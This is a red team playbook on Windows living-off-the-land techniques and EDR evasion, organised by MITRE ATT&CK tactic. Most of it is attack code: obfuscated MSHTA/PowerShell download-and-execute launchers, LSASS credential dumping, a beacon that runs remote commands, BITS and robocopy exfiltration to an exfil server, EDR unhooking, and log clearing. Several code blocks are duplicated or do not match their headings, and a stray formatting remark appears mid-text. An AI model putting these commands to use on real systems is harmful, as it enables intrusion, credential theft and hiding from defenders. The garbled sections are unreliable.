Advanced LOLBins Red Team Playbook 2025

Level 3 - Advanced Tradecraft & EDR Evasion

Authorized Use Only: This guide is for legitimate red team operations, security research, and authorized penetration testing only.

Executive Summary

This playbook details advanced Living-off-the-Land Binaries (LOLBins) techniques specifically designed to bypass modern EDR solutions in 2025. The focus is on stealth, operational security, and leveraging the latest trusted system utilities that evade behavioral detection.

MITRE ATT&CK Framework Integration

Initial Access (TA0001)

Technique: T1566.001 - Phishing with Malicious Documents

Advanced LOLBin Implementation:

xml

```
<!-- Advanced MSHTA with JScript obfuscation -->
<HTML>
<HEAD>
<SCRIPT LANGUAGE="JScript">
function setVersion() {
   var shell = new ActiveXObject("WScript.Shell");
   var res = shell.Run('cmd.exe /c powershell -ep bypass -w hidden -
c
"iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBa
se64String(\'' + encodedPayload + '\')))"', 0, true);
}
</SCRIPT>
</HEAD>
<BODY onload="setVersion()">
</BODY>
</HTML>
```

OR

xml

```
<!-- Advanced MSHTA with JScript obfuscation -->
<HTML>
<HEAD>
<SCRIPT LANGUAGE="JScript">
function setVersion() {
  var shell = new ActiveXObject("WScript.Shell");
  var res = shell.Run('cmd.exe /c powershell -ep bypass -w hidden -c
"iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBa
se64String(\'' + encodedPayload + '\')))"', 0, true);
}
</SCRIPT>
</HEAD>
<BODY onload="setVersion()">
</BODY>
</HTML>
```

Execution Chain:

mshta.exe → wscript.exe → cmd.exe → powershell.exe

OPSEC Considerations:

Use legitimate-looking file names mimicking system processes

Implement execution delays to avoid behavioural clustering

Chain through multiple trusted parents

Execution (TA0002)

Technique: T1059.003 - Windows Command Shell

Advanced Implementation using For Files:

xml

```
<!-- Advanced MSHTA with JScript obfuscation -->
<HTML>
<HEAD>
<SCRIPT LANGUAGE="JScript">
function setVersion() {
   var shell = new ActiveXObject("WScript.Shell");
```

```
   var res = shell.Run('cmd.exe /c powershell -ep bypass -w hidden -
c
"iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBa
se64String(\'' + encodedPayload + '\')))"', 0, true);
}
</SCRIPT>
</HEAD>
<BODY onload="setVersion()">
</BODY>
</HTML>
```

Detection Evasion:

Uses **base64** encoding within legitimate file enumeration context

Appears as normal system administration activity

Bypasses command-line argument parsing

Technique: T1059.005 - Visual Basic

Advanced VBA with WMI Integration:

xml

```
<!-- Advanced MSHTA with JScript obfuscation -->
<HTML>
<HEAD>
<SCRIPT LANGUAGE="JScript">
function setVersion() {
   var shell = new ActiveXObject("WScript.Shell");
   var res = shell.Run('cmd.exe /c powershell -ep bypass -w hidden -
c
"iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBa
se64String(\'' + encodedPayload + '\')))"', 0, true);
}
</SCRIPT>
</HEAD>
<BODY onload="setVersion()">
</BODY>
</HTML>
```

Persistence (TA0003)

Technique: T1547.001 - Registry Run Keys

Advanced Implementation using RegSvr32 COM Hijacking:

https://hilite.me/#:~:text=Preview%3A,%3C/assembly%3E **Thanks 4 the fotmating**

Registr ation Command:

cmd

regsvr32 /s /n /i:maintenance.manifest scrobj.dll

Technique: T1053.005 - Scheduled Task

Advanced Scheduled Task with System Context:

xml

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2"
xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
 <RegistrationInfo>
   <Description>Microsoft Windows Update Health
Monitor</Description>
   <URI>\Microsoft\Windows\Update\HealthMonitor</URI>
 </RegistrationInfo>
 <Triggers>
   <TimeTrigger>
     <StartBoundary>2025-01-15T02:00:00</StartBoundary>
     <Enabled>true</Enabled>
     <RandomDelay>PT30M</RandomDelay>
   </TimeTrigger>
 </Triggers>
 <Actions Context="Author">
   <Exec>
     <Command>rundll32.exe</Command>
     <Arguments>dfshim.dll,ShOpenVerbApplication http://windows-
update.microsoft.com/health/check.dll</Arguments>
   </Exec>
 </Actions>
</Task>
```

Defense Evasion (TA0005)

Technique: T1218.011 - Rundll32

Advanced DLL Loading with Export Forwarding:

cpp

```cpp
// Legitimate-looking export forwarding
#pragma comment(linker,
"/EXPORT:StartDiagnostics=dfshim.dll.ShOpenVerbApplication")
#pragma comment(linker,
"/EXPORT:HealthCheck=dfshim.dll.ShOpenVerbApplication")

extern "C" __declspec(dllexport) void StartDiagnostics() {
   // Malicious payload here
   // Appears as legitimate Windows diagnostics function
}
```

Execution:

cmd

rundll32.exe malicious.dll,StartDiagnostics

Technique: T1220 - XSL Script Processing

Advanced MSXML with Obfuscation:

xml

```xml
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c
powershell -ExecutionPolicy Bypass -File
C:\\Windows\\Temp\\update.ps1", 0, false);
]]>
</ms:script>
</stylesheet>
```

Execution:

cmd

wmic process get brief /format:"malicious.xsl"

Technique: T1620 - Reflective Code Loading

Advanced PowerShell Reflection:

powershell

xml

```
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c
powershell -ExecutionPolicy Bypass -File
C:\\Windows\\Temp\\update.ps1", 0, false);
]]>
</ms:script>
</stylesheet>
```

Credential Access (TA0006)

xml

```
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c
powershell -ExecutionPolicy Bypass -File
C:\\Windows\\Temp\\update.ps1", 0, false);
]]>
</ms:script>
</stylesheet>
```

T1003.001 - LSASS Memory Dumping

Advanced Implementation using Comsvcs.dll:

cmd

Use built-in Windows component for memory dumping
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\Windows\Temp\lsass.dmp full

Alternative using Task Manager shadow copy
taskmgr.exe /dump /pid (Get-Process lsass).id /file C:\Windows\Temp\memory.dmp

OPSEC Considerations:

Use legitimate Windows components

Clean up dump files immediately

Use memory-only extraction when possible

Discovery (TA0007)

Technique: T1087 - Account Discovery

Advanced Enumeration using ADSI:

vbscript

' Use ADSI for stealthy domain enumeration
Set objRootDSE = GetObject("LDAP://RootDSE")
Set objDomain = GetObject("LDAP://" & objRootDSE.Get("defaultNamingContext"))

objDomain.Filter = Array("user")
For Each objUser in objDomain
  WScript.Echo objUser.Name
Next

Execution:

cmd

cscript.exe //nologo enum_users.vbs

Lateral Movement (TA0008)

Technique: T1021.002 - SMB/Windows Admin Shares

Advanced WMI for Remote Execution:

powershell

```
$credential = Get-Credential
$session = New-CimSession -ComputerName TARGET-PC -Credential $credential

Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{
   CommandLine = "rundll32.exe dfshim.dll,ShOpenVerbApplication http://internal-update/healthcheck.dll"
}
```

Technique: T1570 - Lateral Tool Transfer

Advanced Bitsadmin for Data Transfer:

cmd

```
# Legitimate Windows update mechanism
bitsadmin /create /download healthupdate
bitsadmin /addfile healthupdate http://internal-server/update.bin C:\Windows\Temp\health.dat
bitsadmin /setnotifycmdline healthupdate rundll32.exe C:\Windows\Temp\health.dat,DllRegisterServer
bitsadmin /resume healthupdate
```

Collection (TA0009)

Technique: T1005 - Data from Local System

Advanced Robocopy for Data Collection:

cmd

```
# Use built-in file copy utility
robocopy C:\Users\Target\Documents \\exfil-server\shares\data *.pdf *.docx *.xlsx /S /Z /R:1 /W:1 /LOG+:C:\Windows\Temp\robocopy.log
```

Stealth Features:

Uses legitimate backup/logging

Resume capability for interrupted transfers

Low network profile

Command and Control (TA0011)

Technique: T1071.001 - Web Protocols

Advanced HTTPS Beaconing with Certificate Pinning:

powershell

```
# Certificate-pinned HTTPS communication
$webClient = New-Object System.Net.WebClient
$webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT; Windows NT 10.0;
en-US) WindowsPowerShell/7.2")
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

# Mimic legitimate software update check
try {
  $response = $webClient.DownloadString("https://software-
update.microsoft.com/check/v1.2")
  $command =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($respon
se))
  iex $command
} catch {
  # Legitimate error handling
}
```

Technique: T1090 - Proxy

Advanced Netsh for Port Forwarding:

cmd

```
# Use Windows built-in port forwarding
netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0
connectport=8443 connectaddress=C2_SERVER

# Clean up after operation
netsh interface portproxy delete v4tov4 listenport=443 listenaddress=0.0.0.0
```

Red Team Playbook: Complete Attack Chain

Phase 1: Initial Compromise

powershell

```
# Weaponized Excel Macro -> LOLBin Chain
$macroCode = @"
Sub AutoOpen()
```

```
    Dim wmi As Object
    Set wmi = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    wmi.Create "msiexec.exe /q /i http://trusted-cdn.com/component.msi", Null, Null,
processId
End Sub
"@
```

Phase 2: Establish Foothold

xml

```
<!-- WMI Event Subscription for Persistence -->
<__EventFilter xmlns="http://schemas.microsoft.com/win/2004/08/events">
    <Name>WindowsUpdateFilter</Name>
    <Query>SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime &lt;
320</Query>
</__EventFilter>
```

Phase 3: Lateral Movement

powershell

```
# Password Spraying with Legitimate Tools
$computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
foreach ($computer in $computers) {
    Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
"rundll32.exe dfshim.dll,ShOpenVerbApplication http://update/check.dll" -
ComputerName $computer -ErrorAction SilentlyContinue
}
```

Phase 4: Data Exfiltration

cmd

```
# Staged exfiltration using Windows components
# Stage 1: Archive with 7z (if available) or compact.exe
compact.exe /c /i /s:C:\SensitiveData\*

# Stage 2: Transfer using BITS
bitsadmin /create exfiljob
bitsadmin /addfile exfiljob C:\SensitiveData\* http://exfil-server/data/%
bitsadmin /resume exfiljob
```

Advanced OPSEC & Anti-Forensics

Memory Evasion Techniques

powershell

```
# Unhook EDR DLLs from PowerShell
$methods = @()
Get-Process -Id $pid | Select-Object -ExpandProperty Modules | Where-Object
{$_.ModuleName -like "*EDR*"} | ForEach-Object {
  $baseAddr = $_.BaseAddress
  $size = $_.Size
  # Use P/Invoke to modify memory permissions
  Add-Type -TypeDefinition @"
    using System;
    using System.Runtime.InteropServices;
    public class MemoryOps {
      [DllImport("kernel32.dll")]
      public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
    }
"@
  [MemoryOps]::VirtualProtect($baseAddr, $size, 0x40, [ref]0) #
PAGE_EXECUTE_READWRITE
}
```

Log Evasion

powershell

```
# Clear specific event logs
wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
wevtutil.exe cl "Windows PowerShell"

# Disable future logging
Set-ItemProperty -Path
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name
"EnableModuleLogging" -Value 0
```

Detection Avoidance Checklist

Use signed binaries whenever possible

Chain through multiple trusted parents

Implement execution delays and jitter

Use memory-only operations when possible

Clean up artifacts immediately

Mimic legitimate system behavior patterns

Use encrypted communication channels

Rotate C2 infrastructure regularly

Monitor for EDR telemetry and adjust accordingly

Tool Validation & Testing

Before operational use, validate each technique against:

Current EDR solutions (CrowdStrike, SentinelOne, Microsoft Defender)

Network monitoring tools

Behavioral analytics platforms

Memory scanning capabilities

Testing Command:

powershell

```
# Test EDR detection capabilities
Start-Process -FilePath "rundll32.exe" -ArgumentList
"dfshim.dll,ShOpenVerbApplication http://test/check.dll" -Wait
```

Legal & Ethical Notice

This playbook is intended for:

Authorized penetration testing

Red team operations with explicit permission

Security research in controlled environments

Defensive security enhancement

Always obtain proper authorization before testing any techniques described in this guide.